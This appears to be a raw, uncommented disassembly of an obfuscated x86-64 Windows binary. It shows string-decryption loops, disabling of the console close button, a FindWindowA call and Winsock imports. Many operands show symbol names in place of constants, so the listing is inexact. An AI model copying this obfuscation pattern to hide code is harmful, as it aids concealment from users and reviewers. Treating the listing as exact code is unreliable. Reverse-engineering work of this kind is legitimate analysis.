lea esi, [r10 + rcx]
sub sil, 8
movzx eax, byte [rbp + r11 + 0x100]
add rax, r9
add r11, rax
inc r11
jmp 0x1400ba473
lea ecx, [r11 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x5f
mov byte [rbp + r11 + 0x100], sil
inc r11
jmp 0x1400ba473
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x55
cmp r9, 0x10
jb 0x1400ba7eb
movzx edx, r11b
lea ecx, [rdx + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea esi, [rcx*2 - 4]
jmp 0x1400bad43
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x4b
cmp r8, 0x5a
jae 0x1400bac15
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400bab63
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x66
jmp 0x1400ba811
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400bae11
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400bade6
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400badaa
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
add r8, r9
jmp 0x1400badaa
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
movzx edi, r11b
jmp 0x1400bacdf
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
dec r11
inc r11
jmp 0x1400ba473
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
inc r9
dec r11
inc r11
jmp 0x1400ba473
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
movzx edx, r11b
jmp 0x1400bad43
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400ba9e7
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x7b
lea rax, [r9 + r8]
cmp rax, 4
je 0x1400bac3b
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400baac4
lea ecx, [r11 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x4f
jmp 0x1400ba84e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400baa1d
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x2e
movzx eax, byte [rbp + r11 + 0x100]
add rax, r9
add r11, rax
inc r11
jmp 0x1400ba473
inc rax
cmp r8, rax
jne 0x1400baa40
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x10
jmp 0x1400badaa
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400baa67
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 6
add r8, r9
jmp 0x1400badaa
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400baa92
movzx edi, r11b
lea edx, [rdi + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400bacdf
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ba9b1
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
dec r11
inc r11
jmp 0x1400ba473
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400baaeb
movzx edx, r11b
lea ecx, [rdx + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x45
jmp 0x1400bad43
inc rax
cmp r8, rax
jne 0x1400bab14
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x31
dec r11
inc r11
jmp 0x1400ba473
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bab3b
movzx edi, r11b
lea ecx, [rdi - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x27
jmp 0x1400bacdf
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ba84e
lea ecx, [r11 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 9
jmp 0x1400bade6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bab99
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x5c
movzx eax, byte [rbp + r11 + 0x100]
add rax, r9
add r11, rax
inc r11
jmp 0x1400ba473
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400babbd
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x48
jmp 0x1400bade6
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400babe4
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x34
add r8, r9
jmp 0x1400badaa
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ba811
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x16
inc r9
dec r11
inc r11
jmp 0x1400ba473
movzx edi, r11b
lea edx, [rdi + 0x48]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x100]
sub cl, al
add cl, 4
lea esi, [rcx + rcx]
add sil, dl
jmp 0x1400bacdf
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
jmp 0x1400bade6
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x39
jmp 0x1400bae11
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x2f
jmp 0x1400bade6
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x25
jmp 0x1400badaa
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x1b
add r8, r9
jmp 0x1400badaa
movzx edi, r11b
lea ecx, [rdi - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 0x11
add dil, 0x35
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x73
add r10b, dil
add r10b, sil
mov byte [rbp + r11 + 0x100], r10b
add r8, r9
jmp 0x1400badaa
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
add sil, 7
dec r11
inc r11
jmp 0x1400ba473
movzx edx, r11b
lea ecx, [rdx + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0xd
add dl, 0x5b
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x7d
add dl, r10b
mov byte [rbp + r11 + 0x100], dl
inc r9
dec r11
inc r11
jmp 0x1400ba473
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea esi, [r10 + rcx]
sub sil, 0x35
dec r11
inc r11
jmp 0x1400ba473
movabs rcx, 0xaea39cddbc5eff55
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x53
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400ba473
movabs rcx, 0xc0b824ac7610ff7b
add rcx, r11
movzx r10d, dl
and dl, cl
add dl, dl
movzx esi, r10b
sub sil, dl
sub sil, 0x5d
add sil, cl
lea edx, [r11 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x69
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x100], al
inc r9
add rax, r9
sub r11, rax
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x100], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x100]
add rax, r9
add r11, rax
inc r11
jmp 0x1400ba473
movabs rcx, 0xe4e13449e974ffc7
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x71
movzx eax, byte [rbp + r11 + 0x100]
add rax, r9
add r11, rax
inc r11
jmp 0x1400ba473
add r11b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
add sil, 0x19
jmp 0x1400ba470
add r11b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
add sil, 0xf
jmp 0x1400ba460
mov eax, dword [rbp + 0x173f43c]
jmp 0x1400baedc
mov eax, dword [rbp + 0x11af429]
jmp 0x1400baedc
mov eax, dword [rbp + 0x100]
cdqe
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14005a1a0
mov rcx, rax
call fcn.14005a210
jmp 0x1400b902d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
mov edx, 0xf060
mov r8d, 1
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov byte [rbp + 0x1c8], 0x52
mov byte [rbp + 0x1c9], 0xbe
mov byte [rbp + 0x1ca], 0xa4
mov byte [rbp + 0x1cb], 0xbf
mov byte [rbp + 0x1cc], 0xbb
mov byte [rbp + 0x1cd], 0xb1
mov byte [rbp + 0x1ce], reloc.WLDAP32.dll_Ordinal_22
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1cf], xmm0
mov qword [rbp + 0x1df], rax
mov dword [rbp + 0x1e7], eax
movabs rsi, 0x476db982fb5e722a
movabs r15, 0xf4001294df951f26
movabs r14, 0xd6492c88f21b567e
movzx r10d, byte [rsp + 0x30]
xor r13d, r13d
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400bb9fb
movzx r11d, byte [rbp + rdi + 0x1c8]
mov rdx, r11
nop dword [rax]
cmp r8, rdi
ja 0x1400bb9f2
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400baffc
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x26
jmp 0x1400bb036
je 0x1400bb980
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bb8fc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bb8c6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bb8a6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bb87e
cmp r9, rdi
ja 0x1400bb9e9
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400bb062
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
jmp 0x1400bb0b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bb83d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bb81d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bb810
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bb7f1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bb7d7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bb7a7
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400bb49e
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bb480
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bb473
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bb44e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bb430
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bb423
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bb404
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bb3ea
mov r8, rax
lea r9, [rax + 0x1000]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bb9cc
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bb9ab
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400bb247
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bb22d
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400bb20e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bb39b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bb32f
mov r8, rax
lea r9, [rax + 0x1000]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bb2ff
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bb2e0
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400bb2c6
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400bb2ac
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bb29f
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bb281
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bb261
mov r8, rax
lea r9, [rax + 0x1000]
jmp 0x1400bb0c0
lea edx, [rdi - 0x32]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb0b0
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x1400bb036
lea ecx, [rdi + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400bafc6
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
dec rdi
inc rdi
jmp 0x1400bafb3
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
movzx ebx, dil
jmp 0x1400bb765
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400bb8ce
lea ecx, [rdi - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
jmp 0x1400bb8e3
lea ecx, [rdi - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
jmp 0x1400bb916
lea edx, [rdi + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb940
lea edx, [rdi - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x1c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bafb3
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
cmp r8, 4
jae 0x1400bb740
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400bb664
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
cmp r9, 4
jb 0x1400bb730
movzx edx, dil
lea ecx, [rdx - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x48]
jmp 0x1400bb856
lea edx, [rdi + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r8 + r9]
cmp rax, 4
je 0x1400bb78b
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400bb599
lea ecx, [rdi + 2]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x1400bb344
lea ecx, [rdi + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x1400bb916
lea edx, [rdi - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb8e3
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
jmp 0x1400bb8ce
movzx ebx, dil
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x1400bb765
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400bafb3
lea edx, [rdi + 0x60]
mov ecx, Ordinal_50
jmp 0x1400bb886
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
movzx edx, dil
jmp 0x1400bb856
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400bb4c1
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x1400bb3b5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb4f5
lea ecx, [rdi - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
movzx eax, byte [rbp + rdi + 0x1c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bafb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bb51d
lea edx, [rdi - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb916
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb540
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400bb8e0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bb56c
movzx ebx, dil
lea edx, [rbx - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb765
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bb3b5
lea ecx, [rdi - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
dec rdi
inc rdi
jmp 0x1400bafb3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb5c0
movzx edx, dil
lea ecx, [rdx + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x1400bb856
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bb5ee
lea edx, [rdi - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rdi
inc rdi
jmp 0x1400bafb3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb615
movzx ebx, dil
lea ecx, [rbx + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x1400bb765
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bb63d
lea edx, [rdi - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb8e3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bb344
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x1400bb916
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb698
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rdi + 0x1c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bafb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bb6bb
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x1400bb916
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb6de
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x1400bb8e3
cmp r8, rcx
jne 0x1400bb703
movzx ebx, dil
lea edx, [rbx + 0x6c]
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb765
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bb370
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x1400bafb3
mov byte [rbp + rdi + 0x1c8], r10b
inc rdi
jmp 0x1400bafb3
movzx ebx, dil
lea edx, [rbx + 0x10]
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rdi + 0x1c8]
sub r10b, al
sub r10b, 0x70
add r10b, r11b
add r10b, dl
add bl, 0x3a
movzx eax, bl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0x1c8], cl
jmp 0x1400bb8e0
lea edx, [rdi + 0x64]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400bb916
lea edx, [rdi + 0x66]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rdi + 0x1c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bafb3
lea ecx, [rdi - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x1400bb916
lea edx, [rdi + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400bb8e3
lea edx, [rdi + 0x16]
mov ecx, 0x33
jmp 0x1400bb8ce
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
dec rdi
inc rdi
jmp 0x1400bafb3
movzx edx, dil
lea ecx, [rdx - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
sub dl, 0x1a
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x4a
add dl, r11b
mov byte [rbp + rdi + 0x1c8], dl
inc r9
dec rdi
inc rdi
jmp 0x1400bafb3
lea edx, [rdi - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400bafb3
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
dec rdi
inc rdi
jmp 0x1400bafb3
lea edx, [rdi - 0x32]
mov ecx, Ordinal_50
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bafb3
lea rcx, [rdi + r15]
movzx r11d, dl
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0xa
add r10b, cl
lea edx, [rdi - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x1c8], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 8
add cl, r11b
mov byte [rbp + rdi + 0x1c8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bafb3
lea rcx, [rdi + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x72
movzx eax, byte [rbp + rdi + 0x1c8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bafb3
sub dil, 0x2e
movzx eax, dil
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, r11b
jmp 0x1400bafb0
add dil, 0x7e
movzx eax, dil
and al, r11b
add al, al
sub dil, al
lea r10d, [r11 + rdi]
sub r10b, 0x72
jmp 0x1400bafa0
lea rdx, [rbp + 0x174b600]
jmp 0x1400bba02
lea rdx, [rbp + 0x53282a]
jmp 0x1400bba02
lea rdx, [rbp + 0x1c8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140220668], rax
call fcn.1400a2770
mov rcx, qword [0x1402206e0]
call fcn.14005db80
test al, al
jne 0x1400bc673
mov byte [rbp + 0x240], 0xf6
mov byte [rbp + 0x241], reloc.WS2_32.dll_recv
mov byte [rbp + 0x242], listen
mov byte [rbp + 0x243], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x244], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x245], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x246], Ordinal_217
mov byte [rbp + 0x247], 3
mov byte [rbp + 0x248], gethostname
mov byte [rbp + 0x249], 0xe9
mov byte [rbp + 0x24a], gethostname
mov byte [rbp + 0x24b], gethostname
mov byte [rbp + 0x24c], gethostname
mov byte [rbp + 0x24d], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x24e], gethostname
mov byte [rbp + 0x24f], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x250], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x251], gethostname
mov byte [rbp + 0x252], 8
mov byte [rbp + 0x253], Ordinal_41
mov byte [rbp + 0x254], 0xe4
mov byte [rbp + 0x255], gethostname
mov byte [rbp + 0x256], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x257], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x258], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x259], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x25a], Ordinal_41
mov byte [rbp + 0x25b], 0x81
mov byte [rbp + 0x25c], 0x9c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25d], xmm0
mov dword [rbp + 0x26d], eax
mov word [rbp + 0x271], ax
movabs rsi, 0xcfaed1af2f42ad98
movabs r14, 0x4d255f28a9581a58
movabs r15, 0x6f0c750d8dc808c8
movzx r10d, byte [rsp + 0x30]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
mov rbx, r13
